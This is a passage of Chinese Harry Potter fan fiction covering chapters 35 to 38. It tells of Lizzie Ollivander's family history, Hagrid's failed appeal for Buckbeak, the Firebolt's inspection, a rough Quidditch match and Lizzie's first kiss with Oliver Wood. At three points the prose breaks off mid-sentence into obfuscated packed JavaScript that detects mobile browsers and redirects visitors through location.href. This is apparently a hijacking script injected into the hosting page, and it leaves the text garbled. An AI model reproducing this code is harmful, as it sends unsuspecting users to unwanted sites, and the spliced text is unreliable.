噩耗传到伦敦的时候莉兹刚出生不久,虚弱的米歇尔躺在病床上,罗里本想不应该在这个时候和妻子讲这件事,可摇篮里的莉兹哭得嘶声力竭,外面的局势动荡不安,先前寄回家的信三日都没收到回音,她已经有了最不好的预感。最终罗里还是将那个挂坠盒子拿给了妻子,他俯身抱住抽泣的米歇尔说:“莉莉和詹姆去支援时在海边捡到了它,莉莉给里面那张照片施了咒语,永远不会褪色和损坏。” 除了后来被修复过的老宅,这竟成了她唯一一件可以用来怀念父母的东西。米歇尔是家中的独生女,也是洛夫古德家剩下为数不多的家族成员,她还有个远房堂弟在德文郡,只是从来都没见过面,连名字都不是很清楚。* 平安夜当天莉兹第一次来到了那座小岛,空气中有湿漉漉的海水味,这对她来说很是新鲜,而习惯了妈妈那机关枪似的训话,一直沉默着的米歇尔也更令人畏惧,她小心翼翼在妈妈身后走着,生怕哪点出了差错惹上大麻烦。 结果并没有等来任何训斥,母女两人只是合力把老宅清扫了一遍,当她们坐在壁炉前等待烤箱里的苹果派时,米歇尔平静地,如同讲述旁人的故事一般,将那段黑暗时代里发生的事情一字一句说给了莉兹听。 “我想最后我们都会需要进行选择,”米歇尔看向女儿,“爸爸和妈妈选过了,塞西尔也选过了。等那个时候到来,莉兹,你也要选。” “那为什么是现在告诉我?”莉兹沉浸在那些从未得知的过去之中,并感知着妈妈从未向她展露过的柔软与脆弱。 “我知道你比所有人都聪明,世界的模样不用别人告诉你,你自己已经画完了,”米歇尔一挥魔杖将苹果派挪到餐桌上切开,“分辨的能力更是不用别人来教,你自己已经看清楚了。” 接过盘子,莉兹低头吃了一口派皮。 “罗里认为应该等到你十七岁再和你说这些,但我认为那太迟了,我们不能接受家里出现第二个塞西尔。”米歇尔这一次再提到姑姑的名字时,莉兹终于不是那副平静的表情了。 “左和右一定有一个是正确的吗,我们一定要选一个站吗,或者说,我们为什么一定会面临选择?”莉兹抬起头望向米歇尔,“妈妈,我不明白塞西尔姑姑究竟做错了什么,你会因为失去外公外婆而难过,她就不能因为失去挚友而痛苦吗?那是错误的吗?” 极少会在妈妈面前说出反驳语句的莉兹将一连串的反问扔下,这态度一瞬间就激怒了米歇尔,她喊道:“那是个食死徒!” 接着便是停留在脸颊与手掌的火辣辣的疼痛,这同时打醒了餐厅里的两个人。莉兹明白自己无论如何想要共情妈妈的苦楚也不可能换来对方的理解,原本只要做一个听话的乖孩子就能安稳度过这个节日,现在却被搞砸了,她实在是后悔。而米歇尔看着女儿执拗的眼神,她真的不知道到底要怎么和无法信任自己的她相处。 她们就这样在这座小岛上度过了沉默的一夜,次日一早回到伦敦,听惯了的训斥又落在了莉兹的头顶,她和往常一般面无表情地应声,接着梳好乱糟糟的头发,系好散乱的鞋带,追上总是踩着高跟鞋疾走的米歇尔。 一切都如过去,什么都没有变,也不会变。 *远房堂弟就是谢诺菲留斯·洛夫古德,也就是卢娜的爸爸。 36. 火弩箭拯救计划 圣诞节后第一个工作日,巴克比克伤人案再次开庭。尽管塞西尔已经拖到最后才把邓布利多的担保书呈堂,处置危险动物委员会还是偏向了卢修斯·马尔福,若不是她在作为证人时极力强调那份保证书的真实性,也许结果要比现在还要糟糕,至少鲁伯·海格不必因为非法饲养而继续被关押在阿兹卡班了。可是塞西尔实在不能接受委员会竟然再次驳回了她对巴克比克的死刑判决的上诉请求,她甚至想给退休已久的斯卡曼德老先生写封信,以他的名义将此事举报到国际神奇动物保护协会去。 眼见着翻盘无望,身材庞大的海格呜咽着离开了会议厅,自从平安夜前从阿兹卡班回来之后,他一直把自己关在禁林旁的小屋里,没见过任何人。他知道塞西尔为了自己的事情忙前忙后了两个月,刚刚在庭上她也和主席争得脸红脖子粗的,他实在不好意思再和这位好朋友诉说自己的难过。 “海格,你等一等!” 塞西尔伸手挡在即将关上的电梯门之间,猫着腰缩在电梯一角的海格抬眼看向她,没忍住又抽泣起来,把电梯整得晃来晃去,塞西尔紧紧抓着扶手站稳,走过去低声对他说了一句:“抱歉,没帮到你。” 不说还好,这道歉一说出口,海格是彻底放开了声大哭,惹得本来站在中央的艾克莫立刻按停了电梯,嫌弃地摇着头走了出去,走之前她还对着塞西尔说了一句:“你就应该带着你古怪的朋友走飞路网离开魔法部。” “好啊,我们借你办公室里的好吗?”塞西尔也是半句话不饶人,话说完立刻抓过海格的胳膊提醒道,“去能说话的地方。” 猝不及防被幻影移形带到了对角巷和翻倒巷到交界处,阴沉沉的气息正从巷子另一侧传来,感觉到胃里一阵翻涌,海格干呕了两下,还好他今天一整天只吃了一只火鸡腿,什么也吐不出来。一旁的塞西尔探头看了看左右,迅速变换了发色和容貌,推门走进了一间黑乎乎的酒吧。 “我想了一下,既然合法路径走不通,我找门路帮你找一个买家。”双手接过从吧台滑过来的两杯啤酒,塞西尔喝了一大口,对着海格说道。 “我在阿兹卡班的时候他们给巴克比克施了禁制咒,我还是这次回来的时候才发现的,说是……是那个马尔福私下里要求的。只要巴克比克离开那个圈,哪怕只是踏出去一步,它都会受到惩罚。天呐你不知道那对鹰头马身有翼兽来说有多么……多么痛苦!”说着说着海格一拍桌子又哭了起来,啤酒杯倒在他身上,弄脏了他的胡子。 塞西尔恨不得被铁链拴着的是卢修斯·马尔福,真希望什么时候能给这群纯血主义混蛋一些颜色瞧瞧,当她准备开口说什么的时候,海格用袖子擦了擦脸说:“哦,你不能……不能去帮巴克比克解咒,我不能再接受你的帮助。我的魔杖早就被没收了,我不能使用魔法,一旦他们知道是你帮忙的,你会丢了你的工作的。” “这份工作也没有多宝贵。”塞西尔咂了一下嘴。 “不,你为我还有巴克比克做得够多了,你在霍格沃茨的时候我就知道你别的孩子都不一样,你喜欢它们,你把它们都当作你的朋友。”海格低下头,“也许这就是巴克比克的命运,就像被赶出学校的我一样……” “行刑日期是立夏,我还有很多时间,”塞西尔重新给他杯子里添满了啤酒,“我先想个办法把禁制咒解决了。”看来还是要给斯卡曼德老先生写封信,她手指点着杯沿,琢磨着接下来要做什么。 霍格沃茨的新学期又开始了,放在拉文克劳公共休息室里那个倒着走的魔法钟已经转过了大半圈,这意味着距离普通巫师等级测试也越来越近了。戴维斯甚至把它挂在了更为显眼的位置,并且以级长的名义提醒大家都要注意,甚至还拿来劝低年级的学生们,不要等到最后一年才想起要认真准备功课。说完这段精彩的演讲,莉兹在他面前停住脚步,抛下一句:“晚上的级长会议帮我和韦斯莱请假,弗立维教授让我去找他。” 说罢便离开了休息室,压根没理睬身后喊着“凭什么要我给你传话”的戴维斯。 一边走下楼梯,她一边想着弗立维教授一直很少过问学院魁地奇球队的事情,这次怎么特地要她到球场边的办公室来,不会是斯莱特林又耍了什么心思要改赛制吧,还是说又是哪个魁地奇球员的魔杖坏了需要她救急。 快走到门前时她听见伍德的说话声,语速很快,情绪激动,似乎是在和麦格教授争辩什么。于是她先站在原地没进去,根据他们的对话推断了一下目前的状况。 波特收到了一把火弩箭,教授们认为这来自逃犯布莱克的赠予,担心会施加黑魔法造成危险,因此要拆开它进行检验。而伍德坚决不同意这样的做法,便和麦格教授强调一把竞赛型扫帚可能会是格兰芬多拿下学院杯的关键。 那么弗立维教授叫自己来是为了什么,总不能让她来拆扫帚吧。 正思索着的时候,办公室被打开,莉兹只好立刻装作刚刚到达的样子,礼貌地和几位教授问好,霍琦夫人对着她招了招手然后说:“弗立维教授告诉我们说你对拆解魔法制品很有一套,如果这把扫帚交给你的话,你能完好无损地将它复原吗?” 亲爱的爷爷,我好像被人误解了,这能和拆魔杖比吗?莉兹心里这么嘀咕着刚想摇头,却发现伍德正用那种诚恳的、迫切的且充满了希望的眼神看着自己,仿佛这会儿能够救下火弩箭的只剩下她了似的。 “我没有对付黑魔法的经验。”莉兹尝试将目光移开,努力忽视伍德投递来的信息,可是犹犹豫豫又说不出下一句话,要不是她知道伍德没有这个能力,她真觉得自己被他下咒了。 “我们会在一旁协助你,”弗立维教授开了口,“你只要动手做就可以。” 深吸一口气,莉兹举起魔杖时,脑袋里都思绪已经基本被理清楚了,他们明明可以将扫帚作为布莱克越狱案件的证物送到魔法部,滥用魔法办公室自然有人会处理。然而麦格教授先是要求霍琦夫人在场,又让弗立维教授叫来了自己,就证明她和伍德一样,本质都想留下火弩箭,只是想找一个说得过去的借口而已。 那既然如此,这能比拆掉乔治送的圣诞礼物还要困难吗,她静下心来,给扫帚尾轻声念了咒语,里面那块比普通扫帚要复杂许多的加速部件被剥离开,她用悬浮咒让它悬在半空中,方便弗立维教授检查这里面是否被施加过任何黑魔法咒语。 在三个教授围在一起讨论时,她和伍德站到了一边,假期里伍德给她写过两次信,但是都没能收到回信,圣诞礼物也不知道她有没有看到,因为他和塞德里克收到莉兹的礼物时已经是跨年夜晚上了,附上的卡片上也只有简短一句节日快乐而已。 虽然他也搞不清楚自己心情失落的具体缘由,但经过了这么长时间的相处,他确实以为他们已经是关系不错的朋友了,突如其来的冷落倒让他有点接受不来。 而塞德里克当时正玩着莉兹送给伍德的那副守门员手套,听着这个人一直在念叨着为什么,便戴上了手套五指并拢,把手掌上用金色墨水写着的名字亮给他看:“奥利弗,你惹上大麻烦了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487824|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说说我惹上了什么了?”伍德抢下自己的手套,紧紧抱在怀里。 “莉兹·奥利凡德。”塞德里克哈哈一笑,溜出伍德的房间躲开了一记枕头攻击。 现在莉兹就在他身边,女孩倚着墙根看起来很无聊的样子,似乎在等着回宿舍,伍德在想是不是可以现在问一问她假期有没有收到自己的信,但是他又觉得这么执着这件事,会不会让他看起来像是一个小肚鸡肠的家伙。 “我被米歇尔关了一个假期禁闭,”犹豫不决之时,莉兹率先打破了沉默,“米拉尼尔还把她的手指头都咬伤了。” 她说着抬起头了看向他,“所以信被烧了,你给的护目镜弄碎了,我今天刚修好。” 其实还有塞西尔送的礼服裙、秋送的胸针还有乔治送的玩笑道具,无一幸免都被扔出了门,只有塞德里克的那本新版《魔杖制造业兴衰史》被老奥利凡德捡走了,他把书带去了店里,开学前莉兹才看到。 伍德隐约知道莉兹和米歇尔教练的关系不算好,但是木讷的他也不知道这时候应该是表现出怎样的表情,加上莉兹说话的语调又轻松得像在说别人的事情一样,所以他只是点了点头,然后回道:“你送的手套我很喜欢,我今年会好好使用的。” “我看你那双旧的早就磨坏了,你居然会不换,真是稀奇。”莉兹的嘴角微微上扬。 “用……用习惯了。”伍德挠了挠头,他可说不出因为那上面有他们第一次比赛时,她留下的签名。 莉兹刚刚成为拉文克劳的追球手的时候,第一场比赛便是对上格兰芬多。尚未成为队长的伍德只听说她是米歇尔选手的女儿,但并非把这个娇小的姑娘放在心上,一心防备着队里其他人的进攻,谁料到她连着攻破两次球门,打得伍德措手不及。于是赛后一是为了警醒自己以后不可轻敌,二是为了表示对莉兹高超球技的欣赏,他主动将手套递给了她,并说:“我会让值得敬佩的对手在我的手套上留下签名。”从那之后,那双手套就一直用到了现在。 实际上收到礼物看到上面的名字时,伍德也很惊讶,他确实没想到她会记住这样一件小事。尽管他并不知道,一开始莉兹心里只想着这位格兰芬多的大个子可能是个魁地奇白痴,但至于后来这副新手套又代表了什么,那她也不会明说的。 两个人有一搭没一搭聊着些琐碎的小事,在办公室里一直耗到深夜,困意袭来时莉兹打了个呵欠,差点靠在伍德肩上睡过去,还好麦格教授终于松了口说:“奥利弗,你一会儿可以把扫帚给波特带回去了。” “前提是奥利凡德小姐要把它复原成功。”霍琦夫人说。 听到在叫自己,莉兹揉了揉眼睛站直了身子,她努力抵抗着睡眠冲动,挥着魔杖的动作看似心不在焉,麦格教授有点担心她会不会复原失败,毁掉这把好东西。而对自己的学生非常了解的弗立维教授一点不操心,他甚至饶有兴致地哼起了曲子。 没过一会儿火弩箭便恢复了原本的样子,莉兹上手掂量了两下,请求道:“可能需要试飞一次才行,霍琦夫人,我可以现在试一试吗?” 反正都拖到这么晚了,再飞两圈又如何呢,霍琦夫人立刻就答应了莉兹,而没等麦格教授开口阻止,她已经打开了办公室门跨上扫帚消失在了眼前。 “梅林保佑若是波特能用上这个速度,”伍德又一次在麦格教授耳边说着,“我们一定会赢下所有比赛的。”而后他抬起头看向夜色里女孩的身影,他想自己果然非常喜欢看她灵巧而漂亮的飞行姿势,这真的很迷人。 37. 我们是朋友 距离第一场魁地奇比赛正式开始还有一周,首先是拉文克劳对斯莱特林,七年级的弗林特在队长会议时毫不掩饰自己对学院杯的势在必得,甚至在霍琦夫人暂时离开办公室时,他摆出恶狠狠的姿态警告其他两位也会参加决赛的队长,在接下来的日子里一定要小心夜路,并且小心膝盖和手臂。 这句充满了冒犯意味的威胁刚说完,就听到椅子倒在地上的声响,随即塞德里克和帕特里克两个人花了好大力气才把伍德按住,否则他差一点就要冲过去给弗林特一拳。会议的氛围变得极其压抑,好脾气如帕特里克都沉下脸来,时不时瞥一眼旁边的弗林特,顺便留意着另一边的伍德,确保他没有再想着动手教训他。 安排完接下来的球场使用顺序,以及确定了剩余两场比赛的具体时间之后,这次会议便结束了。在帕特里克拖着弗林特的时候,塞德里克很快拉着伍德走了出去。这一整年本就精神紧绷的奥利弗·伍德简直是一碰就爆炸的费力拔烟火,尽管塞德里克完全能理解自己这位好朋友的心情,也知道他坚持到现在就为了最后的胜利,所以绝对不会冲动,但看着伍德那张快要吃人的表情,塞德里克还是决定选择更加保守安全的处理方式。 比如,将他们远远隔开。 不过对于弗林特的恶意威胁,考虑到赫奇帕奇已经没有了决赛资格,因此塞德里克在训练时只字未提,他更希望队友们以轻松的心态迎接新赛季的比赛。帕特里克却是在隔天的训练中提前给队里所有人打了预防针,他始终认为最重要的是个人安全,其次才是胜利。 然而伍德是唯一一个喊着自己哪怕腿断了也要爬到扫帚上去守门的人,弗雷德和乔治觉得他们的队长终于还是疯了,但是刚说完就被安吉丽娜踢了小腿。她难得主动开口让他们别开玩笑了,因为伍德其实牺牲了自己所有的个人时间在守着队里每个人,尽量不给斯莱特林魁地奇球队那群人接近他们的机会。 “真不愧是未来的队长。”弗雷德笑着鼓起掌,下一秒又被安吉丽娜用扫帚敲了屁股。 提起队长换届这件事,最近罗杰·戴维斯倒是非常苦恼,谁都看得出来他的心情很糟糕,可没人知道是为什么。明明帕特里克已经口头上和弗立维教授约定好,在他毕业之后球队会由戴维斯接管。可这似乎正是戴维斯烦躁的原因,这晚玛丽埃塔招呼周围人要为他庆祝,他不仅不情愿,还在莉兹走进公共休息室的时候黑着脸回了宿舍。 很显然在大家看来,莉兹似乎也不太高兴,只不过他们自顾自认为这是因为她没有被选上当队长,而真实的原因只能说和众人的猜测有一点关系,却又不十分相关。实际上帕特里克在队长会议上提议的第一个人名是莉兹,这得到了霍琦夫人的认可,也得到了伍德与塞德里克的支持,尤其是伍德,他事后立刻便跑去把这个好消息带给了莉兹。 为了准备即将到来的普通巫师等级考试和终极巫师等级考试,图书馆比上学期要热闹多了,莉兹坐在靠窗的老位置,面前堆着厚厚的参考书,手上正写着一份选题刁钻的魔药课论文。她听着伍德激动地说完所有话,连头都没抬起来,只是低声回道:“我拒绝。” 这可把对魁地奇足够较真的伍德急坏了,他当然希望格兰芬多今年拿下学院杯之后可以继续守住它,但他更希望莉兹不要忽视她的才能,不要把这一切不当一回事。 “你这是在浪费你自己的天赋,太可惜了!”伍德两手拍在她的羊皮纸上,手指都蹭到了墨水,他尽力压低了音量,但还是被路过的平斯夫人狠狠地警告了。 自知失礼的伍德将乖乖坐下,莉兹缓缓抬眼看向他,那双银白色的眸子里闪过了一丝不满:“哦亲爱的奥利弗,你不会认为我们是朋友,我就需要向你交待我要怎么运用我的脑子吧?” “你不懂吗,你能把球队带到更高的层次,你为什么不去做呢,我实在想不出谁会比你更适合。”这也许是伍德第一次没有躲避她的眼神。 “所以呢,你觉得这很有意思?”莉兹微微歪头,眉头轻挑。 “魁地奇当然有意思。”伍德点头。 她轻哼了一声,一把抽过羊皮纸卷,粗暴地把所有东西一股脑扔进背包里,包括那堆参考书,接着抽出魔杖对着桌面挥了两下,连着伍德刚刚被弄脏的手指头都变干净了。 站起身时她开口道:“是吗,可我不喜欢。”说罢头也不回地离开了图书馆。 后来的事情就很好理解了,戴维斯因为捡漏了队长之位而自尊心受挫,而莉兹因为不解风情的魁地奇白痴而生了闷气。 同伍德之间发生一些小打小闹似的矛盾对她来说并不稀奇,他们为了一场比赛都能凑在一块儿吵红了眼,最经常旁观争吵的塞德里克一般情况都会觉得这很有意思,因为他完全能看出来莉兹根本就是故意的,伍德说左她说右,伍德说一她说二。何况像是莉兹那般机灵的脑筋,哪怕非要她指着一只白色猫头鹰说是鸽子,她多半都能给出一段无懈可击的论证。不过这一次很显然和往常不同,莉兹不是在陪着伍德玩“我就是要和你作对”的游戏,而是她确实非常在意对方竟然一点都不了解她的这个事实。 极少受到情绪影响的她强迫自己把注意力放回没有写完的论文上,至少可以用课业的压力来解释她心情不佳的理由。为了让五年级的学生们在所有必选课中拿到理想的等次,老师们仿佛商量好似的加大了作业量。斯内普自然最是积极,他选了许多刁钻的课题,美其名曰是锻炼班里那些有机会明年继续读他的课的学生,但是并不想再选魔药学课的安吉丽娜也收到了一份长达十一英寸的高级魔药配比题,艾丽娅也没能幸免。因此同样被选中了的莉兹立刻就反应过来,这哪是什么教授的关心,这就是斯莱特林院长的私心。 很快便来到了周六,可惜拉文克劳队里两个追球手好像都不在状态,帕特里克在比赛开始前试图找点话题给大家鼓鼓劲,他原来还想在这时候让戴维斯领头讲一句“赛出风格”,但看着他把扫帚背在身后皱着眉头的样子,最后还是自己开了口。而始终沉默不语的莉兹,一直等到最后一秒才开始安排起队形和战术。 “左翼是罗杰,右边是我,追球手进攻线压前,击球手防线移到后场,让秋在侦查到金色飞贼之前可以留在我们之间。”她说着抬起手指感受了一下,“今天起风了,我们就打高空战,他们没办法在自己不掉下去的前提下撞飞我们任何人。” 秋一边点头一边看向莉兹的表情,因为这是她最近几天以来听到她说话最多的一次。 差不多快十一点时伍德才匆匆跑来了球场,他这两天的早上都在陪着哈利练习使用火弩箭飞行,如果不是惦记着拉文克劳的比赛,他一定会花上一整天训练哈利。塞德里克远远对着他招手,指着身旁的空位让他赶紧上来,三步并两步跳上台阶,伍德刚一站定,霍琦夫人便吹响了比赛开始的哨声。跨上扫帚的莉兹在两秒内提速直直飞向被抛起的鬼飞球,抢到球的瞬间她变换了方向几乎是从看台擦着向上,伍德甚至觉得飞天扫帚加速时产生的冲力都碰到了他的头尖。 再一眨眼拉文克劳整支队伍就腾了空,所有人需要昂起头才能看到他们在空中的影子,斯莱特林便像是在低空等待着的野兽一般,无论是戴维斯还是莉兹,只要他们之中有人要靠近球门,便会有人以伤人为目的挥舞球棒。这一点莉兹考虑到了,但是她对自己和戴维斯的飞行能力显然有了错误的预估,如果一切正常的话,对手的球速对他们构不成威胁,可她误判了心理因素对发挥的影响,阵型最终在她的扫帚尾被游走球击中的那一刻崩溃。 戴维斯立刻上来接应,秋却在此时看到了金色飞贼从眼前飞过,她骑着扫帚在空中一个飞过一个半圆,尝试骗过对手那位身形瘦削、面色苍白的找球手,可谁料被弗林特看在了眼里,他熟练地给队友眼色,先是挡住了霍琦夫人的视线,而后和马尔福一左一右将秋·张夹在中间,一个稍微靠前卡住她的脚,一个稍微靠后抓住她的扫帚,三人并排俯冲向距离地面只有两三米的金色飞贼,只听得一声“三、二、一”,马尔福和弗林特突然用力推着秋向前进,接着立马松开了手。 看台的角度无法观察到弗林特动了什么手脚,塞德里克蹭地站起身,嘴里念着“不好”的同时便向看台下跑去,这根本没有缓冲距离,秋无法减速,这样下去她一定是脸朝地直接摔进沙地里,这会受非常严重的伤。伍德也在这时候看到了俯身冲下来的莉兹,无缓冲贴地飞行是职业选手都很难熟练使用的,他很清楚她其实也并不擅长,可她这么做的理由是什么。伍德的疑惑没有延续到三秒钟,他便明白了莉兹的想法,所以也跟着塞德里克下了台阶。他们拼命向霍琦夫人示意,但是弗林特的举动能不能构成犯规还有待商榷,两个观众的意见根本毫无参考价值,最后只能眼睁睁看着悲剧发生。 看台的其他人更是不知道发生了什么,因为全速俯冲的莉兹竟然将自己的队友狠狠撞下了扫帚,秋在沙地里滚了几圈,最后躺在那里一动不动。这一幕让所有人都惊呆了,斯莱特林的学生们甚至叫起好来。莉兹毫不在意那些声音,只是减着速落到了秋身旁,她弯下腰去看她的伤势,还好只有额头有一些擦伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本应该立刻追上去的伍德留在了霍琦夫人身边,他将自己看到的所有细节全部说了出来,但是霍琦夫人认为这应该由拉文克劳来提出申诉,便驳回他对弗林特的所有指控,懊恼地在抓了抓自己的头发,他不满地看向斯莱特林队那群人,巴不得明天就是对他们的比赛。 在更衣室里,莉兹一直等到所有人都离开了她还是埋头坐着,她后悔自己对斯莱特林的轻视,后悔没能及时提醒秋,后悔花了太多时间处理情绪问题,总而言之,她知道自己的每一步棋都错了,从和伍德生气的那一刻开始,全错了。 夜幕逐渐降临,黑漆漆的环境里她只能听见自己的呼吸声,风吹起门帘,她瞥见了门外的影子,而这时候会是谁站在那里,她连猜都不用猜。 “奥利弗,我觉得我应该离你远一点。” 伍德听到了里面传来的声音,没有经过大脑思考就把这句话误解成是莉兹在和他绝交,迅即掀开帘子走进去,里面一片黑什么都看不见,他踩到了地上的护具绊了一下,踉跄了两步摔倒在她脚边。 “这个我不能接受,如果是因为上次的事情,我会道歉,”他急切地解释道,“或者你可以继续生我的气,但是这件事绝对不可以。” 见她还是不说话,他又继续说:“我们是朋友,不管你喜不喜欢魁地奇!” “噗。”莉兹发现自己压根没办法和面前的人真的生气。这次的矛盾与其说是和伍德的摩擦,不如说她是把对米歇尔的怒意转移了承载对象,毕竟在伍德看来魁地奇是世界上最好的东西,他的热爱如此纯粹,怎么会去理解她之所以能做好并不是因为喜欢。 “笑了就是不生我的气了吧?”伍德小心翼翼问道。 “我还是觉得离你远点对我比较好。”莉兹这次的语气柔和了许多。 但伍德完全没有听出来区别,手足无措地在黑暗中摸索着坐到她身边,焦急地握住了她的手说:“可这不行啊。” “为什么?就因为我们是朋友?”莉兹重读了最后一个词。 “因为……”伍德支支吾吾半天,不知道要怎么说明自己的意思,他实在不知道要用什么表达才能准确解释自己的心情,比如他是如何珍惜那副旧手套,他是如何沉迷于她在空中飞行的样子,是如何喜欢与她坐在一起看同一份《魁地奇速报》,如此种种,他说不出来。而慌乱间他感受到她将手轻轻覆上了自己的双眼,这下是真的剩下了纯粹的黑暗。他想叫她的名字,接着被一次触碰打断。 当温热的鼻息扫过脸庞,天呐,这是一次亲吻。 38. 可以再吻你吗? 当奥利弗·伍德抬手轻轻拿开覆在自己双眼上的手,试图昂起头再次回吻女孩时,她按着他的肩膀将他推开,魔杖一挥角落的一盏灯被点亮,在昏暗更衣室里,印出两个人的轮廓。能言善道的拉文克劳一言不发站起身,他便不自觉伸手拉住了她的手,紧紧地,仿佛在留下她。 莉兹低头看着他,伍德觉得自己又陷进了她的眼眸里,可惜的是,这正是一个说喜欢太轻易、谈爱又不合宜的年岁,他没有在女孩抽出手之前立刻说出应该说的话,她也就没有开口解释这个吻。 “走吧,再不回去要被罚关禁闭了,今天是珀西巡逻。”莉兹掀开帘子,回头提醒道。 伍德匆忙弯腰跟在后面,这一路的沉默让他越发不知所措,总害怕一句话说得不对,他和莉兹这段关系就完了。但是迟钝如他一般也明白,要是不抓住今天的时机,那才是真的彻底完了。于是在迈上台阶的同时,他牵了莉兹的手,没有用任何力气,只是试探性地捏捏了她的手掌,见没有被拒绝才换了姿势缓缓滑入指间,十指相扣。 “伊……伊丽莎白!”本想着正式一些念出她的全名,接过却紧张地结巴了一下,“下个周六要不要一起去霍格莫德?” “请我吃松饼吗,木头先生?”莉兹抬起头来,笑了一声。 “吃什么都可以!”伍德僵硬地点头,“只要……只要你和我一起去。”他越说声音越小。 然而莉兹的笑意却越来越深,她先是摇摇头,接着走上了两节台阶,揉了揉他的头顶说:“真遗憾,我可是记得格兰芬多预约周六一整天的球场。” 竟然会把训练的事情忘得一干二净,被盯得脸颊发烫的伍德慌乱不已,刚想着要怎么挽回的时候莉兹又在他之前开了口:“下次吧,机会多着呢。” “还可以有下次?”伍德也走上台阶,两人的距离被拉近了许多。 “你要是想这就是最后一次也没什么不可以。”莉兹耸耸肩。 “不可以,绝对不可以。”伍德坚决说了不,然后深呼吸了三次,强迫自己不要躲避对方的眼神再开口问道,“所以莉兹,我可以再吻你吗?” 被这一请求逗笑了的她别过脸掩饰着自己的表情,在伍德低头凑近的时候突然捂住了他的嘴,她听见从不远处传来的一阵脚步声,警惕地拉过他躲进了拐角。她依靠在他怀里,两个人一起偷看路过的人,是负责今晚夜巡的珀西和佩内洛。 他们本来还在有说有笑,下一秒却停住脚步,再下一秒伍德竟然抬手挡住了莉兹的视线,她转过身和涨红了脸的他对视,气氛可太微妙了,以至于始终神色不变的莉兹感觉到了一些难为情。 “我们还是赶紧回宿舍吧。”他压低声音小声说。 她应声点头随即快步跑上了楼,在走到要分开的那节楼梯时,她回头对着伍德说了一句:“可以,随时都可以。” 依然迟钝的伍德后知后觉明白了莉兹的话时什么意思,可那时候她已经消失在楼梯上了,而他只能站在原地把“随时都可以”几个字在脑海里翻来覆去地回忆,发现自己浑身烫得要命,整个人完全无法冷静下来。 “白日不再来,骗子如何杀死神。” 没想到在深夜时分门环竟日会换了新题目,面对显而易见的答案,莉兹却难得犹豫了几秒,就仿佛当一个人在期待什么的时候,世界就会把什么推到这个人面前,她轻抚上自己的嘴唇若有所思,好一会儿才回答:“用一株槲寄生。”* 穿过空无一人的公共休息室,莉兹蹑手蹑脚推开宿舍门,秋的床是空着的,庞弗雷夫人大约是将她留在校医院了,玛丽埃塔睡得很熟,还能听到轻微的鼾声。帕德玛倒是还醒着,她在莉兹进门的时候坐起了身,满脸担忧地看向她。 “你还好吗,”帕德玛小声地安慰道,“我们都知道你是为了秋才会这么做的。” 虽然她总是听身边人说莉兹·奥利凡德绝对没关系的,这个人什么都懂、什么都会,没有什么能难倒她,没有什么能影响到她,但是帕德玛还是觉得至少应该有一个人问问她怎么样了。 其实莉兹早就不在意白天的那些恶言恶语了,可同寝室的姑娘像这样特地熬夜等她回来,反倒让她觉得眼底发热,莉兹难得露出了自然的笑容,她回答说:“谢谢你,我完全没关系。” 拉上床帘莉兹摊开一张羊皮纸准备将一肚子的话写给塞西尔听,落笔时却又不知道从哪里说起才好。比如虽然今天比赛输了但是自己的心情却很不错,还是说自己好像找到了那个只要和他待在一起做什么都可以的人,又或者干脆问问布莱克逃狱的案子进展如何了。犹犹豫豫到凌晨,她依旧没想好这封信应该怎么写,便趴在信纸上睡了过去。 大约是因为这个周六实在是太过精彩而充实了,以至于衬得接下来的日子都变得有些无趣,伍德仍然把大部分时间耗在了魁地奇上,而莉兹则是和往常一样来往于宿舍、各个教室还有图书馆之间,几乎所有五年级的学生都是这样,除了一门心思研制魔法道具的韦斯莱双胞胎兄弟。他们时常会拿一些新玩意儿来逗弄聪明绝顶的小古板小姐,然后根据莉兹的反应来判断道具的功效。乔治解释说,如果都能骗到她的话就证明一定能骗到所有人。 至于秋的伤势虽说不重,但还是因为肌肉挫伤在校医院休息了几天,庞弗雷夫人提醒她近期最好不要剧烈运动,帕特里克便直接让她不必参加魁地奇训练了,毕竟她才刚刚四年级,之后的时间还很多,哪怕今年因此错过了学院杯也没关系。可谁都没想到,总是说话轻声细语的秋·张竟在队内会议时和帕特里克拍了桌子。 “可我不想球队再因为我输球。”她说。 “和斯莱特林的比赛是一个意外,”帕特里克反驳道,“不是你的问题,更不是任何人的问题,我们不是为了让谁内疚才去比赛的。” 话音刚落,其他人都不自觉看了莉兹一眼,但是她好像完全没听见这边的争论似的,一脸淡然地看了看周围人接着开口打断了两个人的话:“事先说好,我还没想到怎么对付火弩箭,因为奥利弗一定会让波特在赛前适应扫帚的速度,再加上他的技巧,我想我们需要在飞贼被抓住前抢分,还要做到不让他们进任何一球。” “你是魁地奇机器吗?”戴维斯对毫无感情波动的莉兹感到十分不悦,队友们明明在讨论的是完全不相关的话题,她倒是一点不在乎。 “难道浪费时间说那些没有意义的话题就有人情味了吗?”莉兹不解地瞥了他一眼,队内会议的气氛也因此逐渐从煽情回到了一开始的理智与冷静。 很快第二场比赛又开始了,连塞德里克都没有见过那样胸有成竹的伍德,他和帕特里克握手时,脸上的笑容哪怕是在两座山之外都能看得一清二楚,也不知道他用了什么招数摆平了弗林特,至少这段时间没有一个斯莱特林敢来招惹格兰芬多的队员。不过塞德里克还是注意到他特地在赛前走到莉兹身边,凑在她耳边说了什么悄悄话。这下他终于确认了,这两个人一定有什么事情瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 